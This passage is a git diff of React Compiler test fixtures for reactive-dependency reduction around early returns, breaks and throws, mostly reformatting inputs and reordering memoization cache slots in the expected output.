diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reduce-reactive-deps/jump-poisoned/return-in-scope.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reduce-reactive-deps/jump-poisoned/return-in-scope.expect.md
index 258155e11c9b..ce12fb17b068 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reduce-reactive-deps/jump-poisoned/return-in-scope.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reduce-reactive-deps/jump-poisoned/return-in-scope.expect.md
@@ -2,7 +2,7 @@
 ## Input
 
 ```javascript
-function useFoo({ obj, objIsNull }) {
+function useFoo({obj, objIsNull}) {
   const x = [];
   if (objIsNull) {
     return;
@@ -13,14 +13,14 @@ function useFoo({ obj, objIsNull }) {
 
 export const FIXTURE_ENTRYPOINT = {
   fn: useFoo,
-  params: [{ obj: null, objIsNull: true }],
+  params: [{obj: null, objIsNull: true}],
   sequentialRenders: [
-    { obj: null, objIsNull: true },
-    { obj: { a: 2 }, objIsNull: false },
+    {obj: null, objIsNull: true},
+    {obj: {a: 2}, objIsNull: false},
     // check we preserve nullthrows
-    { obj: { a: undefined }, objIsNull: false },
-    { obj: undefined, objIsNull: false },
-    { obj: { a: undefined }, objIsNull: false },
+    {obj: {a: undefined}, objIsNull: false},
+    {obj: undefined, objIsNull: false},
+    {obj: {a: undefined}, objIsNull: false},
   ],
 };
 
@@ -33,9 +33,9 @@ import { c as _c } from "react/compiler-runtime";
 function useFoo(t0) {
   const $ = _c(4);
   const { obj, objIsNull } = t0;
-  let x;
   let t1;
-  if ($[0] !== objIsNull || $[1] !== obj) {
+  let x;
+  if ($[0] !== obj || $[1] !== objIsNull) {
     t1 = Symbol.for("react.early_return_sentinel");
     bb0: {
       x = [];
@@ -46,13 +46,13 @@ function useFoo(t0) {
 
       x.push(obj.b);
     }
-    $[0] = objIsNull;
-    $[1] = obj;
-    $[2] = x;
-    $[3] = t1;
+    $[0] = obj;
+    $[1] = objIsNull;
+    $[2] = t1;
+    $[3] = x;
   } else {
-    x = $[2];
-    t1 = $[3];
+    t1 = $[2];
+    x = $[3];
   }
   if (t1 !== Symbol.for("react.early_return_sentinel")) {
     return t1;
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reduce-reactive-deps/jump-poisoned/return-in-scope.ts b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reduce-reactive-deps/jump-poisoned/return-in-scope.ts
index fd406aa59683..1992b3ab6537 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reduce-reactive-deps/jump-poisoned/return-in-scope.ts
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reduce-reactive-deps/jump-poisoned/return-in-scope.ts
@@ -1,4 +1,4 @@
-function useFoo({ obj, objIsNull }) {
+function useFoo({obj, objIsNull}) {
   const x = [];
   if (objIsNull) {
     return;
@@ -9,13 +9,13 @@ function useFoo({ obj, objIsNull }) {
 
 export const FIXTURE_ENTRYPOINT = {
   fn: useFoo,
-  params: [{ obj: null, objIsNull: true }],
+  params: [{obj: null, objIsNull: true}],
   sequentialRenders: [
-    { obj: null, objIsNull: true },
-    { obj: { a: 2 }, objIsNull: false },
+    {obj: null, objIsNull: true},
+    {obj: {a: 2}, objIsNull: false},
     // check we preserve nullthrows
-    { obj: { a: undefined }, objIsNull: false },
-    { obj: undefined, objIsNull: false },
-    { obj: { a: undefined }, objIsNull: false },
+    {obj: {a: undefined}, objIsNull: false},
+    {obj: undefined, objIsNull: false},
+    {obj: {a: undefined}, objIsNull: false},
   ],
 };
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reduce-reactive-deps/jump-poisoned/return-poisons-outer-scope.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reduce-reactive-deps/jump-poisoned/return-poisons-outer-scope.expect.md
index 5c41853c5dbe..058bf85b69f3 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reduce-reactive-deps/jump-poisoned/return-poisons-outer-scope.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reduce-reactive-deps/jump-poisoned/return-poisons-outer-scope.expect.md
@@ -2,9 +2,9 @@
 ## Input
 
 ```javascript
-import { identity } from "shared-runtime";
+import {identity} from 'shared-runtime';
 
-function useFoo({ input, cond }) {
+function useFoo({input, cond}) {
   const x = [];
   if (cond) {
     return null;
@@ -15,16 +15,16 @@ function useFoo({ input, cond }) {
 
 export const FIXTURE_ENTRYPOINT = {
   fn: useFoo,
-  params: [{ input: { a: { b: 2 } }, cond: false }],
+  params: [{input: {a: {b: 2}}, cond: false}],
   sequentialRenders: [
-    { input: { a: { b: 2 } }, cond: false },
+    {input: {a: {b: 2}}, cond: false},
     // preserve nullthrows
-    { input: null, cond: false },
-    { input: null, cond: true },
-    { input: {}, cond: false },
-    { input: { a: { b: null } }, cond: false },
-    { input: { a: null }, cond: false },
-    { input: { a: { b: 3 } }, cond: false },
+    {input: null, cond: false},
+    {input: null, cond: true},
+    {input: {}, cond: false},
+    {input: {a: {b: null}}, cond: false},
+    {input: {a: null}, cond: false},
+    {input: {a: {b: 3}}, cond: false},
   ],
 };
 
@@ -39,8 +39,8 @@ import { identity } from "shared-runtime";
 function useFoo(t0) {
   const $ = _c(6);
   const { input, cond } = t0;
-  let x;
   let t1;
+  let x;
   if ($[0] !== cond || $[1] !== input) {
     t1 = Symbol.for("react.early_return_sentinel");
     bb0: {
@@ -61,11 +61,11 @@ function useFoo(t0) {
     }
     $[0] = cond;
     $[1] = input;
-    $[2] = x;
-    $[3] = t1;
+    $[2] = t1;
+    $[3] = x;
   } else {
-    x = $[2];
-    t1 = $[3];
+    t1 = $[2];
+    x = $[3];
   }
   if (t1 !== Symbol.for("react.early_return_sentinel")) {
     return t1;
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reduce-reactive-deps/jump-poisoned/return-poisons-outer-scope.ts b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reduce-reactive-deps/jump-poisoned/return-poisons-outer-scope.ts
index 81aff0f640eb..98b8ab33758e 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reduce-reactive-deps/jump-poisoned/return-poisons-outer-scope.ts
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reduce-reactive-deps/jump-poisoned/return-poisons-outer-scope.ts
@@ -1,6 +1,6 @@
-import { identity } from "shared-runtime";
+import {identity} from 'shared-runtime';
 
-function useFoo({ input, cond }) {
+function useFoo({input, cond}) {
   const x = [];
   if (cond) {
     return null;
@@ -11,15 +11,15 @@ function useFoo({ input, cond }) {
 
 export const FIXTURE_ENTRYPOINT = {
   fn: useFoo,
-  params: [{ input: { a: { b: 2 } }, cond: false }],
+  params: [{input: {a: {b: 2}}, cond: false}],
   sequentialRenders: [
-    { input: { a: { b: 2 } }, cond: false },
+    {input: {a: {b: 2}}, cond: false},
     // preserve nullthrows
-    { input: null, cond: false },
-    { input: null, cond: true },
-    { input: {}, cond: false },
-    { input: { a: { b: null } }, cond: false },
-    { input: { a: null }, cond: false },
-    { input: { a: { b: 3 } }, cond: false },
+    {input: null, cond: false},
+    {input: null, cond: true},
+    {input: {}, cond: false},
+    {input: {a: {b: null}}, cond: false},
+    {input: {a: null}, cond: false},
+    {input: {a: {b: 3}}, cond: false},
   ],
 };
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reduce-reactive-deps/jump-unpoisoned/else-branch-scope-unpoisoned.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reduce-reactive-deps/jump-unpoisoned/else-branch-scope-unpoisoned.expect.md
index c110b4201142..146857d499cf 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reduce-reactive-deps/jump-unpoisoned/else-branch-scope-unpoisoned.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reduce-reactive-deps/jump-unpoisoned/else-branch-scope-unpoisoned.expect.md
@@ -2,9 +2,9 @@
 ## Input
 
 ```javascript
-import { identity } from "shared-runtime";
+import {identity} from 'shared-runtime';
 
-function useFoo({ input, cond }) {
+function useFoo({input, cond}) {
   const x = [];
   label: {
     if (cond) {
@@ -18,16 +18,16 @@ function useFoo({ input, cond }) {
 
 export const FIXTURE_ENTRYPOINT = {
   fn: useFoo,
-  params: [{ input: { a: { b: 2 } }, cond: false }],
+  params: [{input: {a: {b: 2}}, cond: false}],
   sequentialRenders: [
-    { input: null, cond: true },
-    { input: { a: { b: 2 } }, cond: false },
-    { input: null, cond: true },
+    {input: null, cond: true},
+    {input: {a: {b: 2}}, cond: false},
+    {input: null, cond: true},
     // preserve nullthrows
-    { input: {}, cond: false },
-    { input: { a: { b: null } }, cond: false },
-    { input: { a: null }, cond: false },
-    { input: { a: { b: 3 } }, cond: false },
+    {input: {}, cond: false},
+    {input: {a: {b: null}}, cond: false},
+    {input: {a: null}, cond: false},
+    {input: {a: {b: 3}}, cond: false},
   ],
 };
 
@@ -64,6 +64,7 @@ function useFoo(t0) {
   } else {
     x = $[2];
   }
+
   return x[0];
 }
 
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reduce-reactive-deps/jump-unpoisoned/else-branch-scope-unpoisoned.ts b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reduce-reactive-deps/jump-unpoisoned/else-branch-scope-unpoisoned.ts
index 299e6620639d..83c0da3fede5 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reduce-reactive-deps/jump-unpoisoned/else-branch-scope-unpoisoned.ts
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reduce-reactive-deps/jump-unpoisoned/else-branch-scope-unpoisoned.ts
@@ -1,6 +1,6 @@
-import { identity } from "shared-runtime";
+import {identity} from 'shared-runtime';
 
-function useFoo({ input, cond }) {
+function useFoo({input, cond}) {
   const x = [];
   label: {
     if (cond) {
@@ -14,15 +14,15 @@ function useFoo({ input, cond }) {
 
 export const FIXTURE_ENTRYPOINT = {
   fn: useFoo,
-  params: [{ input: { a: { b: 2 } }, cond: false }],
+  params: [{input: {a: {b: 2}}, cond: false}],
   sequentialRenders: [
-    { input: null, cond: true },
-    { input: { a: { b: 2 } }, cond: false },
-    { input: null, cond: true },
+    {input: null, cond: true},
+    {input: {a: {b: 2}}, cond: false},
+    {input: null, cond: true},
     // preserve nullthrows
-    { input: {}, cond: false },
-    { input: { a: { b: null } }, cond: false },
-    { input: { a: null }, cond: false },
-    { input: { a: { b: 3 } }, cond: false },
+    {input: {}, cond: false},
+    {input: {a: {b: null}}, cond: false},
+    {input: {a: null}, cond: false},
+    {input: {a: {b: 3}}, cond: false},
   ],
 };
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reduce-reactive-deps/jump-unpoisoned/jump-target-within-scope-label.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reduce-reactive-deps/jump-unpoisoned/jump-target-within-scope-label.expect.md
index 65fd8710ed09..16a16d24149d 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reduce-reactive-deps/jump-unpoisoned/jump-target-within-scope-label.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reduce-reactive-deps/jump-unpoisoned/jump-target-within-scope-label.expect.md
@@ -2,7 +2,7 @@
 ## Input
 
 ```javascript
-function useFoo({ input, cond }) {
+function useFoo({input, cond}) {
   const x = [];
   label: {
     if (cond) {
@@ -15,16 +15,16 @@ function useFoo({ input, cond }) {
 
 export const FIXTURE_ENTRYPOINT = {
   fn: useFoo,
-  params: [{ input: { a: { b: 2 } }, cond: false }],
+  params: [{input: {a: {b: 2}}, cond: false}],
   sequentialRenders: [
-    { input: { a: { b: 2 } }, cond: false },
+    {input: {a: {b: 2}}, cond: false},
     // preserve nullthrows
-    { input: null, cond: false },
-    { input: null, cond: true },
-    { input: {}, cond: false },
-    { input: { a: { b: null } }, cond: false },
-    { input: { a: null }, cond: false },
-    { input: { a: { b: 3 } }, cond: false },
+    {input: null, cond: false},
+    {input: null, cond: true},
+    {input: {}, cond: false},
+    {input: {a: {b: null}}, cond: false},
+    {input: {a: null}, cond: false},
+    {input: {a: {b: 3}}, cond: false},
   ],
 };
 
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reduce-reactive-deps/jump-unpoisoned/jump-target-within-scope-label.ts b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reduce-reactive-deps/jump-unpoisoned/jump-target-within-scope-label.ts
index b0348656cfa4..8a173da20417 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reduce-reactive-deps/jump-unpoisoned/jump-target-within-scope-label.ts
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reduce-reactive-deps/jump-unpoisoned/jump-target-within-scope-label.ts
@@ -1,4 +1,4 @@
-function useFoo({ input, cond }) {
+function useFoo({input, cond}) {
   const x = [];
   label: {
     if (cond) {
@@ -11,15 +11,15 @@ function useFoo({ input, cond }) {
 
 export const FIXTURE_ENTRYPOINT = {
   fn: useFoo,
-  params: [{ input: { a: { b: 2 } }, cond: false }],
+  params: [{input: {a: {b: 2}}, cond: false}],
   sequentialRenders: [
-    { input: { a: { b: 2 } }, cond: false },
+    {input: {a: {b: 2}}, cond: false},
     // preserve nullthrows
-    { input: null, cond: false },
-    { input: null, cond: true },
-    { input: {}, cond: false },
-    { input: { a: { b: null } }, cond: false },
-    { input: { a: null }, cond: false },
-    { input: { a: { b: 3 } }, cond: false },
+    {input: null, cond: false},
+    {input: null, cond: true},
+    {input: {}, cond: false},
+    {input: {a: {b: null}}, cond: false},
+    {input: {a: null}, cond: false},
+    {input: {a: {b: 3}}, cond: false},
   ],
 };
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reduce-reactive-deps/jump-unpoisoned/jump-target-within-scope-loop-break.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reduce-reactive-deps/jump-unpoisoned/jump-target-within-scope-loop-break.expect.md
index 97142a36f49a..2715a0c92dac 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reduce-reactive-deps/jump-unpoisoned/jump-target-within-scope-loop-break.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reduce-reactive-deps/jump-unpoisoned/jump-target-within-scope-loop-break.expect.md
@@ -2,7 +2,7 @@
 ## Input
 
 ```javascript
-function useFoo({ input, max }) {
+function useFoo({input, max}) {
   const x = [];
   let i = 0;
   while (true) {
@@ -18,15 +18,15 @@ function useFoo({ input, max }) {
 
 export const FIXTURE_ENTRYPOINT = {
   fn: useFoo,
-  params: [{ input: { a: { b: 2 } }, max: 8 }],
+  params: [{input: {a: {b: 2}}, max: 8}],
   sequentialRenders: [
-    { input: { a: { b: 2 } }, max: 8 },
+    {input: {a: {b: 2}}, max: 8},
     // preserve nullthrows
-    { input: null, max: 8 },
-    { input: {}, max: 8 },
-    { input: { a: { b: null } }, max: 8 },
-    { input: { a: null }, max: 8 },
-    { input: { a: { b: 3 } }, max: 8 },
+    {input: null, max: 8},
+    {input: {}, max: 8},
+    {input: {a: {b: null}}, max: 8},
+    {input: {a: null}, max: 8},
+    {input: {a: {b: 3}}, max: 8},
   ],
 };
 
@@ -40,7 +40,7 @@ function useFoo(t0) {
   const $ = _c(3);
   const { input, max } = t0;
   let x;
-  if ($[0] !== max || $[1] !== input.a.b) {
+  if ($[0] !== input.a.b || $[1] !== max) {
     x = [];
     let i = 0;
     while (true) {
@@ -52,8 +52,8 @@ function useFoo(t0) {
 
     x.push(i);
     x.push(input.a.b);
-    $[0] = max;
-    $[1] = input.a.b;
+    $[0] = input.a.b;
+    $[1] = max;
     $[2] = x;
   } else {
     x = $[2];
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reduce-reactive-deps/jump-unpoisoned/jump-target-within-scope-loop-break.ts b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reduce-reactive-deps/jump-unpoisoned/jump-target-within-scope-loop-break.ts
index e3936441ba4a..a9c9dd8caef8 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reduce-reactive-deps/jump-unpoisoned/jump-target-within-scope-loop-break.ts
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reduce-reactive-deps/jump-unpoisoned/jump-target-within-scope-loop-break.ts
@@ -1,4 +1,4 @@
-function useFoo({ input, max }) {
+function useFoo({input, max}) {
   const x = [];
   let i = 0;
   while (true) {
@@ -14,14 +14,14 @@ function useFoo({ input, max }) {
 
 export const FIXTURE_ENTRYPOINT = {
   fn: useFoo,
-  params: [{ input: { a: { b: 2 } }, max: 8 }],
+  params: [{input: {a: {b: 2}}, max: 8}],
   sequentialRenders: [
-    { input: { a: { b: 2 } }, max: 8 },
+    {input: {a: {b: 2}}, max: 8},
     // preserve nullthrows
-    { input: null, max: 8 },
-    { input: {}, max: 8 },
-    { input: { a: { b: null } }, max: 8 },
-    { input: { a: null }, max: 8 },
-    { input: { a: { b: 3 } }, max: 8 },
+    {input: null, max: 8},
+    {input: {}, max: 8},
+    {input: {a: {b: null}}, max: 8},
+    {input: {a: null}, max: 8},
+    {input: {a: {b: 3}}, max: 8},
   ],
 };
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reduce-reactive-deps/jump-unpoisoned/reduce-if-exhaustive-nonpoisoned-deps.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reduce-reactive-deps/jump-unpoisoned/reduce-if-exhaustive-nonpoisoned-deps.expect.md
index ba897d49387a..8383ddb44077 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reduce-reactive-deps/jump-unpoisoned/reduce-if-exhaustive-nonpoisoned-deps.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reduce-reactive-deps/jump-unpoisoned/reduce-if-exhaustive-nonpoisoned-deps.expect.md
@@ -2,9 +2,9 @@
 ## Input
 
 ```javascript
-import { identity } from "shared-runtime";
+import {identity} from 'shared-runtime';
 
-function useFoo({ input, hasAB, returnNull }) {
+function useFoo({input, hasAB, returnNull}) {
   const x = [];
   if (!hasAB) {
     x.push(identity(input.a));
@@ -19,7 +19,7 @@ function useFoo({ input, hasAB, returnNull }) {
 
 export const FIXTURE_ENTRYPOINT = {
   fn: useFoo,
-  params: [{ input: { b: 1 }, hasAB: false, returnNull: false }],
+  params: [{input: {b: 1}, hasAB: false, returnNull: false}],
 };
 
 ```
@@ -33,8 +33,8 @@ import { identity } from "shared-runtime";
 function useFoo(t0) {
   const $ = _c(9);
   const { input, hasAB, returnNull } = t0;
-  let x;
   let t1;
+  let x;
   if ($[0] !== hasAB || $[1] !== input.a || $[2] !== returnNull) {
     t1 = Symbol.for("react.early_return_sentinel");
     bb0: {
@@ -68,15 +68,16 @@ function useFoo(t0) {
     $[0] = hasAB;
     $[1] = input.a;
     $[2] = returnNull;
-    $[3] = x;
-    $[4] = t1;
+    $[3] = t1;
+    $[4] = x;
   } else {
-    x = $[3];
-    t1 = $[4];
+    t1 = $[3];
+    x = $[4];
   }
   if (t1 !== Symbol.for("react.early_return_sentinel")) {
     return t1;
   }
+
   return x;
 }
 
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reduce-reactive-deps/jump-unpoisoned/reduce-if-exhaustive-nonpoisoned-deps.ts b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reduce-reactive-deps/jump-unpoisoned/reduce-if-exhaustive-nonpoisoned-deps.ts
index 4bb83141cd67..e3a43ca16126 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reduce-reactive-deps/jump-unpoisoned/reduce-if-exhaustive-nonpoisoned-deps.ts
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reduce-reactive-deps/jump-unpoisoned/reduce-if-exhaustive-nonpoisoned-deps.ts
@@ -1,6 +1,6 @@
-import { identity } from "shared-runtime";
+import {identity} from 'shared-runtime';
 
-function useFoo({ input, hasAB, returnNull }) {
+function useFoo({input, hasAB, returnNull}) {
   const x = [];
   if (!hasAB) {
     x.push(identity(input.a));
@@ -15,5 +15,5 @@ function useFoo({ input, hasAB, returnNull }) {
 
 export const FIXTURE_ENTRYPOINT = {
   fn: useFoo,
-  params: [{ input: { b: 1 }, hasAB: false, returnNull: false }],
+  params: [{input: {b: 1}, hasAB: false, returnNull: false}],
 };
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reduce-reactive-deps/jump-unpoisoned/reduce-if-exhaustive-nonpoisoned-deps1.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reduce-reactive-deps/jump-unpoisoned/reduce-if-exhaustive-nonpoisoned-deps1.expect.md
index 53340ed84bd4..4698a46df9d7 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reduce-reactive-deps/jump-unpoisoned/reduce-if-exhaustive-nonpoisoned-deps1.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reduce-reactive-deps/jump-unpoisoned/reduce-if-exhaustive-nonpoisoned-deps1.expect.md
@@ -2,9 +2,9 @@
 ## Input
 
 ```javascript
-import { identity } from "shared-runtime";
+import {identity} from 'shared-runtime';
 
-function useFoo({ input, cond2, cond1 }) {
+function useFoo({input, cond2, cond1}) {
   const x = [];
   if (cond1) {
     if (!cond2) {
@@ -21,14 +21,14 @@ function useFoo({ input, cond2, cond1 }) {
 
 export const FIXTURE_ENTRYPOINT = {
   fn: useFoo,
-  params: [{ input: { b: 1 }, cond1: true, cond2: false }],
+  params: [{input: {b: 1}, cond1: true, cond2: false}],
   sequentialRenders: [
-    { input: { a: { b: 1 } }, cond1: true, cond2: true },
-    { input: null, cond1: true, cond2: false },
+    {input: {a: {b: 1}}, cond1: true, cond2: true},
+    {input: null, cond1: true, cond2: false},
     // preserve nullthrows
-    { input: { a: { b: undefined } }, cond1: true, cond2: true },
-    { input: { a: null }, cond1: true, cond2: true },
-    { input: { a: { b: undefined } }, cond1: true, cond2: true },
+    {input: {a: {b: undefined}}, cond1: true, cond2: true},
+    {input: {a: null}, cond1: true, cond2: true},
+    {input: {a: {b: undefined}}, cond1: true, cond2: true},
   ],
 };
 
@@ -43,8 +43,8 @@ import { identity } from "shared-runtime";
 function useFoo(t0) {
   const $ = _c(11);
   const { input, cond2, cond1 } = t0;
-  let x;
   let t1;
+  let x;
   if ($[0] !== cond1 || $[1] !== cond2 || $[2] !== input.a.b) {
     t1 = Symbol.for("react.early_return_sentinel");
     bb0: {
@@ -88,15 +88,16 @@ function useFoo(t0) {
     $[0] = cond1;
     $[1] = cond2;
     $[2] = input.a.b;
-    $[3] = x;
-    $[4] = t1;
+    $[3] = t1;
+    $[4] = x;
   } else {
-    x = $[3];
-    t1 = $[4];
+    t1 = $[3];
+    x = $[4];
   }
   if (t1 !== Symbol.for("react.early_return_sentinel")) {
     return t1;
   }
+
   return x;
 }
 
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reduce-reactive-deps/jump-unpoisoned/reduce-if-exhaustive-nonpoisoned-deps1.ts b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reduce-reactive-deps/jump-unpoisoned/reduce-if-exhaustive-nonpoisoned-deps1.ts
index 1737b0f75fb7..57948a3cb536 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reduce-reactive-deps/jump-unpoisoned/reduce-if-exhaustive-nonpoisoned-deps1.ts
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reduce-reactive-deps/jump-unpoisoned/reduce-if-exhaustive-nonpoisoned-deps1.ts
@@ -1,6 +1,6 @@
-import { identity } from "shared-runtime";
+import {identity} from 'shared-runtime';
 
-function useFoo({ input, cond2, cond1 }) {
+function useFoo({input, cond2, cond1}) {
   const x = [];
   if (cond1) {
     if (!cond2) {
@@ -17,13 +17,13 @@ function useFoo({ input, cond2, cond1 }) {
 
 export const FIXTURE_ENTRYPOINT = {
   fn: useFoo,
-  params: [{ input: { b: 1 }, cond1: true, cond2: false }],
+  params: [{input: {b: 1}, cond1: true, cond2: false}],
   sequentialRenders: [
-    { input: { a: { b: 1 } }, cond1: true, cond2: true },
-    { input: null, cond1: true, cond2: false },
+    {input: {a: {b: 1}}, cond1: true, cond2: true},
+    {input: null, cond1: true, cond2: false},
     // preserve nullthrows
-    { input: { a: { b: undefined } }, cond1: true, cond2: true },
-    { input: { a: null }, cond1: true, cond2: true },
-    { input: { a: { b: undefined } }, cond1: true, cond2: true },
+    {input: {a: {b: undefined}}, cond1: true, cond2: true},
+    {input: {a: null}, cond1: true, cond2: true},
+    {input: {a: {b: undefined}}, cond1: true, cond2: true},
   ],
 };
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reduce-reactive-deps/jump-unpoisoned/return-before-scope-starts.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reduce-reactive-deps/jump-unpoisoned/return-before-scope-starts.expect.md
index 5edc13dead32..11ca823fa2db 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reduce-reactive-deps/jump-unpoisoned/return-before-scope-starts.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reduce-reactive-deps/jump-unpoisoned/return-before-scope-starts.expect.md
@@ -2,11 +2,11 @@
 ## Input
 
 ```javascript
-import { arrayPush } from "shared-runtime";
+import {arrayPush} from 'shared-runtime';
 
-function useFoo({ input, cond }) {
+function useFoo({input, cond}) {
   if (cond) {
-    return { result: "early return" };
+    return {result: 'early return'};
   }
 
   // unconditional
@@ -17,16 +17,16 @@ function useFoo({ input, cond }) {
 
 export const FIXTURE_ENTRYPOINT = {
   fn: useFoo,
-  params: [{ input: { a: { b: 2 } }, cond: false }],
+  params: [{input: {a: {b: 2}}, cond: false}],
   sequentialRenders: [
-    { input: null, cond: true },
-    { input: { a: { b: 2 } }, cond: false },
-    { input: null, cond: true },
+    {input: null, cond: true},
+    {input: {a: {b: 2}}, cond: false},
+    {input: null, cond: true},
     // preserve nullthrows
-    { input: {}, cond: false },
-    { input: { a: { b: null } }, cond: false },
-    { input: { a: null }, cond: false },
-    { input: { a: { b: 3 } }, cond: false },
+    {input: {}, cond: false},
+    {input: {a: {b: null}}, cond: false},
+    {input: {a: null}, cond: false},
+    {input: {a: {b: 3}}, cond: false},
   ],
 };
 
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reduce-reactive-deps/jump-unpoisoned/return-before-scope-starts.ts b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reduce-reactive-deps/jump-unpoisoned/return-before-scope-starts.ts
index 4641468db518..9ea6e9554cc0 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reduce-reactive-deps/jump-unpoisoned/return-before-scope-starts.ts
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reduce-reactive-deps/jump-unpoisoned/return-before-scope-starts.ts
@@ -1,8 +1,8 @@
-import { arrayPush } from "shared-runtime";
+import {arrayPush} from 'shared-runtime';
 
-function useFoo({ input, cond }) {
+function useFoo({input, cond}) {
   if (cond) {
-    return { result: "early return" };
+    return {result: 'early return'};
   }
 
   // unconditional
@@ -13,15 +13,15 @@ function useFoo({ input, cond }) {
 
 export const FIXTURE_ENTRYPOINT = {
   fn: useFoo,
-  params: [{ input: { a: { b: 2 } }, cond: false }],
+  params: [{input: {a: {b: 2}}, cond: false}],
   sequentialRenders: [
-    { input: null, cond: true },
-    { input: { a: { b: 2 } }, cond: false },
-    { input: null, cond: true },
+    {input: null, cond: true},
+    {input: {a: {b: 2}}, cond: false},
+    {input: null, cond: true},
     // preserve nullthrows
-    { input: {}, cond: false },
-    { input: { a: { b: null } }, cond: false },
-    { input: { a: null }, cond: false },
-    { input: { a: { b: 3 } }, cond: false },
+    {input: {}, cond: false},
+    {input: {a: {b: null}}, cond: false},
+    {input: {a: null}, cond: false},
+    {input: {a: {b: 3}}, cond: false},
   ],
 };
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reduce-reactive-deps/jump-unpoisoned/throw-before-scope-starts.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reduce-reactive-deps/jump-unpoisoned/throw-before-scope-starts.expect.md
index 5751d26c941a..dd7509c48c4c 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reduce-reactive-deps/jump-unpoisoned/throw-before-scope-starts.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reduce-reactive-deps/jump-unpoisoned/throw-before-scope-starts.expect.md
@@ -2,11 +2,11 @@
 ## Input
 
 ```javascript
